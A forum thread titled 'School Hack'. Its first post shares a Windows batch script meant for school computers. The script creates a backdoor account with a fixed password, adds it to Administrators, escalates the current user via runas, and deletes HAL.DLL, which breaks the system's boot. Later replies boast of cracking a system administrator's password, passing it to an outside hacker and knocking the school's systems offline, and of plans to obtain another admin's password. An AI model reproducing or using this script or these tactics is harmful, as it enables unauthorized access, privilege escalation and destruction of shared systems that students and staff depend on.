School Hack...

EriX920

Respected
I made this a while back, I never got a chance to use it :(.

Code:
@echo off
:start
cls

REM *****************************************
REM This is the type of batch file that we
REM should have more of. This is designed
REM for schools. GOOD LUCK HAVE FUN! DONT GET
REM CAUGHT! Batch by EriX
REM *****************************************

REM [The choice list]
@echo Users:
@echo 1. Create new user
@echo 2. Make new user admin
@echo 3. Make this user admin (Need admin PW)
@echo.
@echo Files:
@echo 4. Start command.com
@echo 5. HAL.DLL killer
@echo 6. File remover
@echo.

REM [Corrisponding to the order of the above list ^]
set /p userinp=Choose an option (1-6):
set userinp=%userinp:~0,1%
if "%userinp%"=="1" goto 1
if "%userinp%"=="2" goto 2
if "%userinp%"=="3" goto 4
if "%userinp%"=="4" goto 3
if "%userinp%"=="5" goto 5
if "%userinp%"=="6" goto 6

REM [Press anything wrong, return to the start]
echo invalid choice
goto start

REM [Adds a account to the PC]
:1
@echo.
@echo ====================================
@echo == Lets add our nice new account. ==
@echo ====================================
CMD /c net user dmi100000 haxs /ADD
If ERRORLEVEL 2 GOTO ActErr
Else
@echo ====================================
@echo == Account name: dmi100000        ==
@echo == Password: haxs                 ==
@echo ====================================
@echo Done!
goto Start
End If
goto end

REM [Makes the user created above admin]
:2
@echo.
@echo ====================================
@echo == How about we make you admin..  ==
@echo ====================================
CMD /c net localgroup Administrators dmi100000 /ADD
If ERRORLEVEL 2 GOTO ActErr
Else
@echo.
@echo ====================================
@echo == Account name: dmi100000        ==
@echo == Password: haxs                 ==
@echo == PRIVS: Admin                   ==
@echo ====================================
@echo.
@echo Done!
goto Start
End If
goto end

:ActErr
@echo.
@echo I'm sorry, your request cannot be completed!
@echo you probably don't have correct priledges to
@echo do this action!
@echo.
@pause
goto Start

:3
Start command.com
goto end

REM [Makes the user logged in ATM admin]
:4
setlocal
set _Admin_=%COMPUTERNAME%\Administrator
set _Group_=Administrators
set _Prog_="cmd.exe /k Title *** %* as Admin *** && cd c:\ && color 4F"
set _User_=%USERDOMAIN%\%USERNAME%

if "%1"=="" (
	runas /u:%_Admin_% "%~s0 %_User_%"
	if ERRORLEVEL 1 echo. && pause
) else (
	echo Adding user %* to group %_Group_%...
	net localgroup %_Group_% "%*" /ADD
	if ERRORLEVEL 1 echo. && pause
	echo.
	echo Starting program in new logon session...
	runas /u:"%*" %_Prog_%
	if ERRORLEVEL 1 echo. && pause
	echo.
	echo Removing user %* from group %_Group_%...
	net localgroup %_Group_% "%*" /DELETE
	if ERRORLEVEL 1 echo. && pause
)
endlocal
goto end

REM [HAL killer]

:5
set /p userinp=Remove HAL.DLL? (Y/N):
set userinp=%userinp:~0,1%
if "%userinp%"=="Y" goto Yes
if "%userinp%"=="y" goto Yes
if "%userinp%"=="N" goto NO
if "%userinp%"=="n" goto NO

echo Choose Y or N!
goto end

:Yes
CD C:/Windows/System32
DEL HAL.DLL
If Errorlevel 0 GOTO ActErr
	Else
	@echo Operation completed succesfully...
End if
@pause
goto Start

:No
@echo Removal canceled!
@pause
goto Start

:6
@echo do stuff here
@pause
goto Start

:end 
pause>nul

Never really had a chance to finish it, but it's a good strong base I guess.
 
Yeah, never worked at my school lol.. They always found a way to block my ideas, except the time when I ran ERD commander and decrypted the systems admin's pw and sent it to a certain hacker. Then next day was hilarious! We come into school and their like "We can't let you in until our computers are back online" (We take attendance with the PC's so 4000 students, ah lots of names to type into the pc). So when it came back up (Used the backup server) it went down AGAIN god knows why, well I do too but wtf.

Anywho, it was all good fun :D.
 
My school, ain't nothin' to it :D lol

I know a guy at TSC (admin) he's in one of my classes so all I need is his PW and I can basically do w/e I want.

Plus BESS fails at life, an * beats it lol, and so does the main administrator at my school lol.
 
Back
Top